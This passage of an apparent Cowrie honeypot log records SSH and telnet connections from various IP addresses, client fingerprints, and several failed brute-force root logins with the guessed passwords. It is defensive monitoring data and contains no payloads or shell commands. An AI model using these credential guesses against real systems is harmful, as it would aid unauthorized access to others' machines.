256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:15:35.057978Z","src_ip":"43.245.98.60","session":"7593a45cce79","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"bigdaddy","message":"login attempt [root/bigdaddy] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:15:36.057224Z","src_ip":"43.245.98.60","session":"7593a45cce79","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:15:37.301863Z","src_ip":"43.245.98.60","session":"7593a45cce79","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":34458,"dst_ip":"10.17.0.5","dst_port":23,"session":"c9f6b892c2b2","protocol":"telnet","message":"New connection: 152.42.224.71:34458 (10.17.0.5:23) [session: c9f6b892c2b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:15:40.717620Z"}
{"eventid":"cowrie.session.connect","src_ip":"223.197.186.7","src_port":27307,"dst_ip":"10.17.0.5","dst_port":22,"session":"e669d630d1ff","protocol":"ssh","message":"New connection: 223.197.186.7:27307 (10.17.0.5:22) [session: e669d630d1ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:15:43.374333Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:15:43.378888Z","src_ip":"223.197.186.7","session":"e669d630d1ff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":34474,"dst_ip":"10.17.0.5","dst_port":23,"session":"504e7718cda5","protocol":"telnet","message":"New connection: 152.42.224.71:34474 (10.17.0.5:23) [session: 504e7718cda5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:15:43.478623Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:15:43.605568Z","src_ip":"223.197.186.7","session":"e669d630d1ff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"lol","message":"login attempt [root/lol] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:15:44.547579Z","src_ip":"223.197.186.7","session":"e669d630d1ff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.605395555496216,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:15:45.235380Z","src_ip":"152.42.224.71","session":"1104009c6230","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"zaidc2018","message":"login attempt [root/zaidc2018] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:15:45.662271Z","src_ip":"147.182.194.60","session":"7bc3b71f1453","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":60.658695220947266,"message":"Connection lost after 60 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:15:45.665845Z","src_ip":"147.182.194.60","session":"7bc3b71f1453","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:15:45.763528Z","src_ip":"223.197.186.7","session":"e669d630d1ff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.133.148.170","src_port":49668,"dst_ip":"10.17.0.5","dst_port":22,"session":"77abd4cff952","protocol":"ssh","message":"New connection: 43.133.148.170:49668 (10.17.0.5:22) [session: 77abd4cff952]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:15:53.598469Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:15:53.603560Z","src_ip":"43.133.148.170","session":"77abd4cff952","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:15:53.853460Z","src_ip":"43.133.148.170","session":"77abd4cff952","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57384,"dst_ip":"10.17.0.5","dst_port":23,"session":"3bbd2d106491","protocol":"telnet","message":"New connection: 152.42.224.71:57384 (10.17.0.5:23) [session: 3bbd2d106491]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:15:54.148973Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"Changeme_123","message":"login attempt [root/Changeme_123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:15:54.886949Z","src_ip":"43.133.148.170","session":"77abd4cff952","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46954,"dst_ip":"10.17.0.5","dst_port":23,"session":"341eae0cdedb","protocol":"telnet","message":"New connection: 152.42.224.71:46954 (10.17.0.5:23) [session: 341eae0cdedb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:15:55.882742Z"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:15:56.139783Z","src_ip":"43.133.148.170","session":"77abd4cff952","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00956344604492,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:16:04.775901Z","src_ip":"152.42.224.71","session":"9f8f13809b45","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":36306,"dst_ip":"10.17.0.5","dst_port":23,"session":"f4848db1a5bb","protocol":"telnet","message":"New connection: 152.42.224.71:36306 (10.17.0.5:23) [session: f4848db1a5bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:16:13.955942Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50200,"dst_ip":"10.17.0.5","dst_port":23,"session":"4b49a340c3a9","protocol":"telnet","message":"New connection: 152.42.224.71:50200 (10.17.0.5:23) [session: 4b49a340c3a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:16:20.719743Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.47","src_port":60798,"dst_ip":"10.17.0.5","dst_port":22,"session":"f37f7fd0c7bd","protocol":"ssh","message":"New connection: 45.153.34.47:60798 (10.17.0.5:22) [session: f37f7fd0c7bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:16:22.096519Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:16:22.101574Z","src_ip":"45.153.34.47","session":"f37f7fd0c7bd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.47","src_port":60808,"dst_ip":"10.17.0.5","dst_port":22,"session":"77b5cf0ac622","protocol":"ssh","message":"New connection: 45.153.34.47:60808 (10.17.0.5:22) [session: 77b5cf0ac622]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:16:22.238050Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.3","message":"Remote SSH version: SSH-2.0-libssh_0.11.3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:16:22.243125Z","src_ip":"45.153.34.47","session":"77b5cf0ac622","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"4ed0d5b0dc3be39c7f96ba3a3cc77895","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,3des-cbc,aes128-cbc,aes192-cbc,aes256-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","3des-cbc","aes128-cbc","aes192-cbc","aes256-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 4ed0d5b0dc3be39c7f96ba3a3cc77895","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:16:22.325851Z","src_ip":"45.153.34.47","session":"77b5cf0ac622","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user3","password":"1234","message":"login attempt [user3/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:16:22.616439Z","src_ip":"45.153.34.47","session":"77b5cf0ac622","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:16:23.701970Z","src_ip":"45.153.34.47","session":"77b5cf0ac622","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50204,"dst_ip":"10.17.0.5","dst_port":23,"session":"43acbd18159c","protocol":"telnet","message":"New connection: 152.42.224.71:50204 (10.17.0.5:23) [session: 43acbd18159c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:16:24.062391Z"}
{"eventid":"cowrie.session.connect","src_ip":"223.197.186.7","src_port":59095,"dst_ip":"10.17.0.5","dst_port":22,"session":"c81df4795af4","protocol":"ssh","message":"New connection: 223.197.186.7:59095 (10.17.0.5:22) [session: c81df4795af4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:16:27.091643Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:16:27.096572Z","src_ip":"223.197.186.7","session":"c81df4795af4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:16:27.320174Z","src_ip":"223.197.186.7","session":"c81df4795af4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":47624,"dst_ip":"10.17.0.5","dst_port":23,"session":"8ebc001ac479","protocol":"telnet","message":"New connection: 152.42.224.71:47624 (10.17.0.5:23) [session: 8ebc001ac479]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:16:27.994906Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"discover","message":"login attempt [root/discover] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:16:28.247828Z","src_ip":"223.197.186.7","session":"c81df4795af4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:16:29.469045Z","src_ip":"223.197.186.7","session":"c81df4795af4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":50.04693937301636,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:16:33.525439Z","src_ip":"152.42.224.71","session":"504e7718cda5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57014,"dst_ip":"10.17.0.5","dst_port":23,"session":"3800a03df9d8","protocol":"telnet","message":"New connection: 152.42.224.71:57014 (10.17.0.5:23) [session: 3800a03df9d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:16:36.548842Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57022,"dst_ip":"10.17.0.5","dst_port":23,"session":"ce566413ffae","protocol":"telnet","message":"New connection: 152.42.224.71:57022 (10.17.0.5:23) [session: ce566413ffae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:16:37.451499Z"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:16:38.977174Z","src_ip":"46.19.67.181","session":"14016b20d941","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.236.22.41","src_port":51486,"dst_ip":"159.203.135.109","dst_port":22,"session":"e5b4d41b8a96","protocol":"ssh","message":"New connection: 185.236.22.41:51486 (159.203.135.109:22) [session: e5b4d41b8a96]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:16:39.886340Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:16:39.921325Z","src_ip":"185.236.22.41","session":"e5b4d41b8a96","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:16:40.027224Z","src_ip":"185.236.22.41","session":"e5b4d41b8a96","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"567zxcv","message":"login attempt [root/567zxcv] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:16:40.523585Z","src_ip":"185.236.22.41","session":"e5b4d41b8a96","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:16:41.655802Z","src_ip":"185.236.22.41","session":"e5b4d41b8a96","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":49.45837664604187,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:16:43.607259Z","src_ip":"152.42.224.71","session":"3bbd2d106491","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":6.672084331512451,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:16:44.123494Z","src_ip":"152.42.224.71","session":"ce566413ffae","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57024,"dst_ip":"10.17.0.5","dst_port":23,"session":"45d78d8098ea","protocol":"telnet","message":"New connection: 152.42.224.71:57024 (10.17.0.5:23) [session: 45d78d8098ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:16:45.153412Z"}
{"eventid":"cowrie.session.connect","src_ip":"186.227.183.66","src_port":24217,"dst_ip":"10.17.0.5","dst_port":23,"session":"784966f5fb09","protocol":"telnet","message":"New connection: 186.227.183.66:24217 (10.17.0.5:23) [session: 784966f5fb09]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:16:48.145223Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57122,"dst_ip":"10.17.0.5","dst_port":23,"session":"03754a7dd3ec","protocol":"telnet","message":"New connection: 152.42.224.71:57122 (10.17.0.5:23) [session: 03754a7dd3ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:16:48.305880Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.245.98.60","src_port":44390,"dst_ip":"10.17.0.5","dst_port":22,"session":"fca883942cf0","protocol":"ssh","message":"New connection: 43.245.98.60:44390 (10.17.0.5:22) [session: fca883942cf0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:16:50.931243Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:16:50.935813Z","src_ip":"43.245.98.60","session":"fca883942cf0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh